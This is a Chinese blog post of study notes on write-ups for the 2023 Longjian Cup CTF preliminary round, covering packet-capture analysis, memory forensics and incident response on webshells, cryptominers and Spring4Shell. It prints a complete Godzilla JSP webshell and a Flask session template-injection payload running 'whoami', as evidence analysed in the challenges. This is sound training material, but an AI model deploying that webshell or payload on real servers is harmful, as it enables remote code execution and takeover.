陇剑杯2023WriteUp学习笔记【初赛】

news2024/11/15 15:47:26

文章目录

  • 数据分析
    • 1、hard_web
      • hard_web_1
      • hard_web_2
      • hard_web_3
    • 2、sevrer save
      • sevrer save_1
      • sevrer save_2
      • sevrer save_3
      • sevrer save_4
      • sevrer save_5
      • sevrer save_6
      • sevrer save_7
      • sevrer save_8
    • 3、Wireshark
      • Wireshark1_1
      • Wireshark1_2
      • Wireshark1_3
      • Wireshark1_4
    • 4、Incidentresponse
      • IncidentResponse_1
      • IncidentResponse_2
      • IncidentResponse_3
      • IncidentResponse_4
      • IncidentResponse_5
      • IncidentResponse_6
      • IncidentResponse_7
    • 5、SmallSword
      • SmallSword_1
      • SmallSword_2
      • SmallSword_3
    • 6、ez_web
      • ez_web_1
      • ez_web_2
      • ez_web_3
    • 7、Babyforensics
      • baby_forensics_1
      • baby_forensics_2
      • baby_forensics_3
    • 8、tcpdump
      • tcpdump_1
      • tcpdump_2
      • tcpdump_3
      • tcpdump_4
      • tcpdump_5
    • 9、Hacked
      • hacked_1
      • hacked_2
      • hacked_3
      • hacked_4
  • web
    • 10、fungame

由于太菜就跟着大佬的wp学习了一遍。
经典之为什么在他们的电脑上可以,我的电脑上不行。

数据分析

1、hard_web

hard_web原题下载

hard_web_1

题目内容:服务器开放了哪些端口,请按照端口大小顺序提交答案,并以英文逗号隔开(如服务器开放了 80 81 82 83 端口,则答案为 80,81,82,83)
考点:哥斯拉流量
也可看持续时间

在这里插入图片描述
可以看到网站里存在马
代码如下

Java
<%! String xc="748007e861908c03"; 
class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }}%><%try{byte[] data=new byte[Integer.parseInt(request.getHeader("Content-Length"))];java.io.InputStream inputStream= request.getInputStream();int _num=0;while ((_num+=inputStream.read(data,_num,data.length))<data.length);data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters", data);Object f=((Class)session.getAttribute("payload")).newInstance();java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();f.equals(arrOut);f.equals(pageContext);f.toString();response.getOutputStream().write(x(arrOut.toByteArray(), true));} }catch (Exception e){}%>

new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES")

就是做了一个aes,把xc当key,读POST shell.jsp的数据,发现第24322的数据流执行了nmap,但是回显是没运行成功。

(tcp.dstport == 61885) && (tcp.flags.syn == 1)

筛选得到只有 80,888,8888 符合条件
在这里插入图片描述

hard_web_2

题目内容:服务器中根目录下的 flag 值是多少?

tcp.stream eq 20053

在这里插入图片描述

由 tcp 20046 得知该流中的 flag 是被 aes 加密过的,解密得 flag

在这里插入图片描述

hard_web_3

题目内容:该 webshell 的连接密码是多少?

tcp.stream eq 20046

追踪 http 流
在这里插入图片描述
在这里插入图片描述

cmd5 解密得 14mk3y

2、sevrer save

sevrer save原题下载
解压密码为 c77ad47ba4c85fae66f08ec12e0085dd
考点:溯源取证

sevrer save_1

题目内容:黑客是使用什么漏洞来拿下 root 权限的。格式为:CVE-2020-114514
在这里插入图片描述

搜索 tcp 104 中的 title:Reznok's Hello World Spring Application

发现指向 https://github.com/reznok/Spring4Shell-POC,可以看到 cve 编号为 CVE-2022-22965

也可以搜索一下利用的类找到对应的CVE

class.module.classLoader.resources.context.parent.pipeline.first.pattern

sevrer save_2

题目内容:黑客反弹 shell 的 ip 和端口是什么,格式为:10.0.0.1:4444

黑客从服务器上下载了反弹shell的文件,然后执行
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

sevrer save_3

题目内容:黑客的病毒名称是什么?格式为:filename
解压do,home下的可疑文件main
在这里插入图片描述

sevrer save_4

题目内容:黑客的病毒运行后创建了什么用户?请将回答用户名与密码:username:password

在这里插入图片描述

比对一下 shadow 和 shadow-文件发现
在这里插入图片描述

也可上传微步等执行命令看进程

sevrer save_5

题目内容:服务器在被入侵时外网 ip 是多少? 格式为:10.10.0.1

有访问ip-api.com的网络记录,释放了一个日志文件,可以先猜出这个日志文件里包含当前的外网IP。
在这里插入图片描述

在这里插入图片描述

sevrer save_6

题目内容:病毒运行后释放了什么文件?格式:文件 1,文件 2
在这里插入图片描述
在这里插入图片描述

sevrer save_7

题目内容:矿池地址是什么?格式:domain:1234

根据释放的文件mine_doge.sh,见POOL
在这里插入图片描述

sevrer save_8

题目内容:黑客的钱包地址是多少?格式:xx:xxxxxxxx

见上一题的WALLET,钱包地址要删掉.lolMinerWorker

3、Wireshark

原题下载
考点:telnet流量分析

Wireshark1_1

题目内容:被入侵主机的 IP 是?
在这里插入图片描述
流量里只有这两个 ip 在通信,很显然答案是 192.168.246.28

Wireshark1_2

题目内容:被入侵主机的口令是?
在这里插入图片描述

Wireshark1_3

题目内容:用户目录下第二个文件夹的名称是?
在这里插入图片描述

Wireshark1_4

题目内容:/etc/passwd 中倒数第二个用户的用户名是?
在这里插入图片描述

4、Incidentresponse

题目内容:你是公司的一名安全运营工程师,今日接到外部监管部门通报,你公司网络出口存在请求挖矿域名的行为。需要立即整改。经过与网络组配合,你们定位到了请求挖矿域名的内网 IP 是 10.221.36.21。查询 CMDB 后得知该 IP 运行了公司的工时系统。(虚拟机账号密码为:root/IncidentResponsePasswd)(答案中如有空格均需去除,如有大写均需变为小写,使用 echo -n ‘strings’|md5sum|cut -d ’ ’ -f1 获取 md5 值作为答案)

原题下载

解压密码为 f0b1ba11478343f404666c355919de3f

考点:溯源取证

IncidentResponse_1

题目内容:挖矿程序所在路径是?

因为与挖矿相关,所以搜索了一下与WALLET有关的字段,发现在redis-server中出大量的wallet,疑似被修改,确定是redis-server该文件

根据查看的进程信息可知,该程序发送数万条 udp 链接,结合之前的 redis 挖矿病毒猜测为该程序。
在这里插入图片描述

IncidentResponse_2

题目内容:挖矿程序连接的矿池域名是?
在这里插入图片描述

该目录下的conf文件中存在矿池域名的配置

IncidentResponse_3

题目内容:攻击者入侵服务器的利用的方法是?
系统登录日志中存在大量的admin用户,疑似通过网站的服务上马登录。

查看 nohup 文件,多次出现 shiro 链,猜测是 shiro 反序列化。
flag 是 shirodeserialization。

在这里插入图片描述

IncidentResponse_4

题目内容:攻击者的 IP 是?

历史命令里找到了几个可能的 ip 尝试发现为 81.70.166.3

在这里插入图片描述

从登录日志也可以发现IP。

IncidentResponse_5

题目内容:攻击者发起攻击时使用的 User-Agent 是?
攻击者IP的最后一条访问时nginx日志里的User-Agent。

查看/var/log/nginx/access.log

在这里插入图片描述

IncidentResponse_6

题目内容:攻击者使用了两种权限维持手段,相应的配置文件路径是?

常规手段:疑似保存authoriazed_keys的免密登录

查看/root/.ssh/authorized_keys 里记录的用户是 root@kali
在这里插入图片描述

IncidentResponse_7

题目内容:攻击者使用了两种权限维持手段,相应的配置文件路径是?(md5 加密后以 b 开头)
常规策略:开机启动
结合上文恶意文件,看了很多,发现使用了 redis 的配置文件进行权限维持。
/lib/systemd/system/redis.service

在这里插入图片描述

5、SmallSword

原题下载

考点:蚁剑流量分析

SmallSword_1

题目内容:连接蚁剑的正确密码是__?(答案示例:123asd)
密码就是post时的key 6ea280898e404bfabd0ebb702327b19f。
第 127 流就出现了使用 6ea280898e404bfabd0ebb702327b19f 传递代码,明显的蚁剑链接特征。
在这里插入图片描述

SmallSword_2

题目内容:攻击者留存的值是__?(答案示例:d1c3f0d3-68bb-4d85-a337-fb97cf99ee2e)

蚁剑没什么防护,直接base64解流量传输的数据即可
对 tcp142 解密,flag 为YWQ2MjY5YjctM2NlMi00YWU4LWI5N2YtZjI1OTUxNWU3YTkxIA==对应的base64 值

在这里插入图片描述

在这里插入图片描述

ad6269b7-3ce2-4ae8-b97f-f259515e7a91

SmallSword_3

题目内容:攻击者下载到的 flag 是__?(答案示例:flag3{uuid})

将 tcp 130 中的 exe 提取出来(转为原始数据保存)
在这里插入图片描述

对提取出来得 exe 进行解包
在这里插入图片描述

发现 2.pyc 里边有图片数据

保存得到
在这里插入图片描述
在这里插入图片描述

流量里可以看到程序下载了huorong.exe
放到微步,发现程序运行后会释放一张图片。

6、ez_web

原题下载

ez_web_1

题目内容:服务器自带的后门文件名是什么?(含文件后缀)

从HTTP对象发现,它利用了自带的后门上传了d00r.php
在这里插入图片描述

发现该请求携带恶意代码确认为该文件。

ez_web_2

题目内容:服务器的内网 IP 是多少?

导出http对象,发现他执行了ip的命令,确定内网地址

第 10098TCP 流里的 http 里有执行命令 ifconfig
在这里插入图片描述

在这里插入图片描述

ez_web_3

题目内容:攻击者往服务器中写入的 key 是什么?

在d00r命令执行中看到写入操作,发现是个解压密码7e03864b0db7e6f9,在流量末尾找到压缩包解密。
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

保存为 zip,下图为压缩包密码
在这里插入图片描述

7、Babyforensics

原题下载
解压密码为 4cf611fce4a2fec305e54c2766b7c860

baby_forensics_1

题目内容:磁盘中的 key 是多少?

可以直接内存filescan,看到key.txt然后提取该文件,也可以使用取证大师等工具提取bitlocker的内存密钥,然后用相应工具解密。
最后是rot47得到key

baby_forensics_2

题目内容:电脑中正在运行的计算器的远行结果是多少?
这题,复现发现大佬的做法有两种。1.vol看windows 2.dump calc.exe的进程然后放入gimp。

baby_forensics_3

题目内容:该内存文件中存在的flag值是多少?
U2开头加密标志去内存找,然后Rstudio在Music目录下找到密码,然后使用爆破工具,爆破。

8、tcpdump

原题下载

tcpdump_1

题目内容:攻击者通过暴力破解进入了某 Wiki 文档,请给出登录的用户名与密码,以:拼接,比如 admin:admin

查看请求和返回流量,看返回包长度为 559 与其他的 237 不一致。确定为下图,找到请求包即可。
在这里插入图片描述

在这里插入图片描述

tcpdump_2

题目内容:攻击者发现软件存在越权漏洞,请给出攻击者越权使用的 cookie 的内容的 md5 值。(32 位小写)

分析前后操作,发现在这儿开始往后进行越权操作
在这里插入图片描述

tcpdump_3

题目内容:攻击使用 jdbc 漏洞读取了应用配置文件,给出配置中的数据库账号密码,以:拼接,比如 root:123456
在这里插入图片描述

tcpdump_4

题目内容:攻击者又使用了 CVE 漏洞攻击应用,执行系统命令,请给出此 CVE 编号以及远程 EXP 的文件名,使用:拼接,比如 CVE-2020-19817:exp.so

根据tcp 1604流中的xml的信息能发现weblogic
搜索关键词,发现几个 cve,逐一与流量比对发现为 CVE-2022-21724
在这里插入图片描述

根据分析路径为下图中的 custom.dtd.xml

在这里插入图片描述

tcpdump_5

题目内容:给出攻击者获取系统权限后,下载的工具的名称,比如 nmap
在这里插入图片描述
fscan

9、Hacked

原题下载

hacked_1

题目内容:admIn 用户的密码是什么?

http 找 get /register 追踪 http 流看源码
登录页面源码找到加密算法

<script language="javascript">  
 crypt_key = 'l36DoqKUYQP0N7e1';
 crypt_iv = '131b0c8a7a6e072e';
 var key = CryptoJS.enc.Utf8.parse(crypt_key); 
 var iv = CryptoJS.enc.Utf8.parse(crypt_iv); 
 function Encrypt(word){
   srcs = CryptoJS.enc.Utf8.parse(word);
   var encrypted = CryptoJS.AES.encrypt(srcs, key, { iv: iv,mode:CryptoJS.mode.CBC,padding: CryptoJS.pad.Pkcs7});
   return encrypted.toString();
 }
 function print(){
   var a = Encrypt(myform.username.value);
   var b = Encrypt(myform.password.value);
 }

在这里插入图片描述

这个为 admIn 用户对应的一组用户名密码。

import base64
from Crypto.Cipher import AES
iv=b'131b0c8a7a6e072e'
key=b'l36DoqKUYQP0N7e1'
def decrypt(s):
     return AES.new(key, AES.MODE_CBC, iv).decrypt(base64.b64decode(s))
decrypt(b"KGM7NI0/WvKswK+PlmFIhO4gqe8jJzRdOi02GQ0wZoo=")
# b'flag{WelC0m5_TO_H3re}\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b'

然后找解密即可

flag{WelC0m5_TO_H3re}

hacked_2

题目内容:app.config[‘SECRET_KEY’]值为多少?

搜索 SECRET_KEY 即可。
在这里插入图片描述

hacked_3

题目内容:flask 网站由哪个用户启动?

这题的漏洞点在flask的session注入
tcp流76
在这里插入图片描述

Bash
$python .\exp.py .eJwdx1EKwyAMANCrDEGiPz1Ar1KGZBi7gBpplH2Idy_d-3vTDKWrYiGzm2k5vZRUWeo2WsRObkLKeMKeuekoB4RwZvlg1hDg_S917lSeOhAFf0CTRvXp7ytYGPx2EUbnl7drWqqRk11m3cGmKw0.YpIQcw.J5vs8t8bAr0xDIxF6EqUAH2kkLE
{'username': "{%if session.update({'flag':lipsum['__globals__']['__getitem__']('os')['popen']('whoami').read()})%}{%endif%}"}
$ python .\exp.py .eJwdylsKAyEMQNGtFEGiUGYBs5VpkRQz04AvjNIPce-t_TyXO9QZ8FK7quQfSd1VF6oJI_3S0HzehEQ4p60Xj43MgPXDHrhIjwc4d4X8wiDOwfNPatwoLhrIAvaAkgulxc87Y2SwWyX0xk6r59CUPJ96qvkFHeUvmg.YpIQkg.65xf8l2g9fXAImkfyihId46KkY4
{'flag': 'red\n', 'username': "{%if session.update({'flag':lipsum['__globals__']['__getitem__']('os')['popen']('whoami').read()})%}{%endif%}"}

密钥为 2 中的 SECRET_KEY
在这里插入图片描述

hacked_4

题目内容:攻击者写入的内存马的路由名叫什么?(答案里不需要加/)
在这里插入图片描述

Index

web

10、fungame

题目内容:近日,网管小李被通知说自己管理的网站存在漏洞,请你帮助小李找到存在漏洞的位置,并且将漏洞修复(敏感信息泄露也算哦)。修复漏洞后,等待一分钟左右,/flag 就会变为可读权限。可以借用 /index.php?r=debug/default/index 的 web 接口的 debug 进行分析。

debug 发现请求了 diff 方法:
在这里插入图片描述

找到这个地方注释:
在这里插入图片描述

然后还有个 phpinfo:
在这里插入图片描述

最后一行有个 phpinfo,删掉以后就可以了。
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/973310.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C++信息学奥赛1187:统计字符数

#include <bits/stdc.h> using namespace std; int main() {string arr;cin >> arr; // 输入一个字符串int n, a, max; // 定义变量n, a, maxchar ArrMax; // 定义字符变量ArrMaxn arr.length(); // 获取字符串长度max a 0; // 初始化max和a为0// 外层循环&…

GPT引领前沿与应用突破之GPT4科研实践技术与AI绘图教程

详情点击链接&#xff1a;GPT引领前沿与应用突破之GPT4科研实践技术与AI绘图教程 前沿 GPT对于每个科研人员已经成为不可或缺的辅助工具&#xff0c;不同的研究领域和项目具有不同的需求。如在科研编程、绘图领域&#xff1a;1、编程建议和示例代码: 无论你使用的编程语言是Py…

Java多线程篇(1)——深入分析synchronized

文章目录 synchronized原理概述锁升级 初始状态偏向锁偏向锁获取/重入偏向锁的撤销/重偏向和升级批量重偏向和批量偏向撤销偏向锁的释放 轻量级锁轻量级锁获取/重入轻量级锁膨胀轻量级锁释放 重量级锁重量级锁获取/重入重量级锁释放重量级锁的降级 其他锁粗化、锁消除调用hashc…

Elasticsearch 中的向量搜索:设计背后的基本原理

作者&#xff1a;ADRIEN GRAND 实现向量数据库有不同的方法&#xff0c;它们有不同的权衡。 在本博客中&#xff0c;你将详细了解如何将向量搜索集成到 Elastisearch 中以及我们所做的权衡。 你有兴趣了解 Elasticsearch 用于向量搜索的特性以及设计是什么样子吗&#xff1f; …

【ROS】例说mapserver静态地图参数(对照Rviz、Gazebo环境)

文章目录 例说mapserver静态地图参数1. Rviz中显示的地图2. mapserver保存地图详解3. 补充实验 例说mapserver静态地图参数 1. Rviz中显示的地图 在建图过程中&#xff0c;rviz会显示建图的实时情况&#xff0c;其输出来自于SLAM&#xff0c;浅蓝色区域为地图大小&#xff0c…

SAP GUI登陆界面图片更换

导语&#xff1a;SAP登陆界面的图片不太好看&#xff0c;换一个客户需要的图片上去。 一、上传至SMW0 将准备好的图片&#xff0c;通过事物码SMW0进行上传。 二、更改配置表 事物码SM30&#xff0c;更改配置表【SSM_CUST】&#xff0c;以调用上传的图片 三、效果展示 作者…

Redis6搭建高可用的多主多从集群

Redis6搭建高可用的多主多从集群 环境准备搭建redis6集群安装redis6修改配置文件修改cluster-enabled修改cluster-config-file修改cluster-node-timeout 启动集群 环境准备 首先我们需要6台redis&#xff0c;那么为啥是6太呢&#xff1f;是因为我们要部署多master和多slaver集…

SpringCloudAlibaba之Sentinel介绍

文章目录 1 Sentinel1.1 Sentinel简介1.2 核心概念1.2.1 资源1.2.2 规则 1.3 入门Demo1.3.1 引入依赖1.3.2 集成Spring1.3.3 Spring中资源规则 1.4 Sentinel控制台1.5 核心原理1.5.1 NodeSelectorSlot1.5.2 ClusterBuilderSlot1.5.3 LogSlot1.5.4 StatisticSlot1.5.5 Authority…

ESP-C3入门23. I2C读写外部存储器

ESP-C3入门23. I2C读写外部存储器 一、准备工作1. 开发环境2. ESP32-C3 I2C资源介绍 二、主要函数1. 配置驱动程序2. 源时钟配置3. 安装驱动程序4. 通信5. 指示写入或读取数据 二、实现步骤1. 配置 I2C 总线&#xff1a;2. 初始化 I2C 总线&#xff1a;3. 与外部存储设备通信&a…

华为OD机试 - 找出经过特定点的路径长度 - 深度优先搜索(Java 2022 Q4 100分)

目录 专栏导读一、题目描述二、输入描述三、输出描述四、解题思路五、Java算法源码六、效果展示1、输入2、输出3、说明 华为OD机试 2023B卷题库疯狂收录中&#xff0c;刷题点这里 专栏导读 本专栏收录于《华为OD机试&#xff08;JAVA&#xff09;真题&#xff08;A卷B卷&#…

特征值,特征向量,SVD分解,PCD分解

特征值&#xff0c;特征向量&#xff1a; 对于n阶方阵A&#xff0c;在A张成的空间里&#xff0c;存在非零向量v&#xff0c; 该向量转换到A张成的空间时&#xff0c;方向不变&#xff0c;大小变为λ倍。 ① Av λv 变换一下&#xff1a; ② (A - λI)v 0 对于A向量&#x…

安全编程:初始化那些你忽略掉的东西

对于黑客来说&#xff0c;特权提升漏洞是令他感到非常兴奋的事情&#xff0c;而有时候这种漏洞的来源仅仅是因为开发者忘记将内存缓冲区中的垃圾数据进行初始化。此话怎讲&#xff1f; 我想&#xff0c;现在每个人都应该熟悉 SecureZeroMemory 函数的使用&#xff0c;它用来擦…

ESD实时监控监测系统包括哪些功能

ESD实时监控监测系统是一种用于监测和控制静电放电的系统。静电放电&#xff08;Electrostatic Discharge&#xff0c;ESD&#xff09;是指由于电荷的不平衡而引起的突发放电现象&#xff0c;可能对电子元器件、设备和工作环境造成损害。 ESD实时监控监测系统通常包括以下功能…

elmentui表单重置及出现的问题

一、表单&#xff1a; 二、代码——拿官方的代码举例(做了一些小改动)&#xff1a; 改动&#xff1a;model绑定的字段&#xff0c;由form改为queryParams ref绑定的字段form改为queryFrom 注&#xff1a;model绑定的这个字段用来做数据双向绑定的 注&#xff1a;ref绑定的这…

【TypeScript】一直提示 :无法重新声明块范围变量

【TypeScript】一直提示 &#xff1a;无法重新声明块范围变量 问题描述&#xff1a;在VSCode中编写ts代码时&#xff0c;编写保存完之后&#xff0c;通过tsc 文件名.ts编译就会看到变量名下面出现了红色的波浪线&#xff0c;提示的内容是无法重新声明块范围变量。 解决方法&am…

书单制作方法详细步骤,需要的小伙伴快来看看~

随着网络的发展&#xff0c;视频已经成为了人们获取信息的主要途径之一。书单视频作为一种特殊类型的视频&#xff0c;既能为观众提供阅读建议&#xff0c;又能为制作者带来收益&#xff0c;因此备受欢迎。本文将分享书单视频制作的详细步骤&#xff0c;帮助有兴趣的朋友们快速…

k8s基本概念

一、什么是Kubernetes二&#xff1a;Kubernetes部署方式的演变三、为什么要用K8S四、K8S的特性五、Kubernetes 集群架构与组件5.1 Master 组件① Kube-apiserver② Kube-controller-manager③ Kube-scheduler④ AUTH 认证模块 5.2 配置存储中心5.3 Node 组件① Kubelet② Kube-…

【校招VIP】产品分析之活动策划宣传

考点介绍&#xff1a; 产品的上线运营是非常重要的。应该来说好的产品都是运营出来的&#xff0c;在一运营过程中难免会依靠策划活动来提高产品知名度、用户数。用户粘度等等指标一&#xff0c;如何策划一个成功的活动就显得非常重要。 产品分析之活动策划宣传-相关题目及解析…

常见的几种排序算法

目录 一、插入排序 1、直接插入排序 1.1、排序方法 1.2、图解分析 1.3、代码实现 2、希尔排序 2.1、排序方法 2.2、图解分析 2.3、代码实现 二、选择排序 1、直接选择排序 1.1、排序方法 1.2、图解分析 1.3、代码实现 2、堆排序 2.1、排序方法 2.2、图解分析 …

Qt/C++音视频开发49-推流到各种流媒体服务程序

一、前言 最近将推流程序完善了很多功能&#xff0c;尤其是增加了对多种流媒体服务程序的支持&#xff0c;目前支持mediamtx、LiveQing、EasyDarwin、nginx-rtmp、ZLMediaKit、srs、ABLMediaServer等&#xff0c;其中经过大量的对比测试&#xff0c;个人比较建议使用mediamtx和…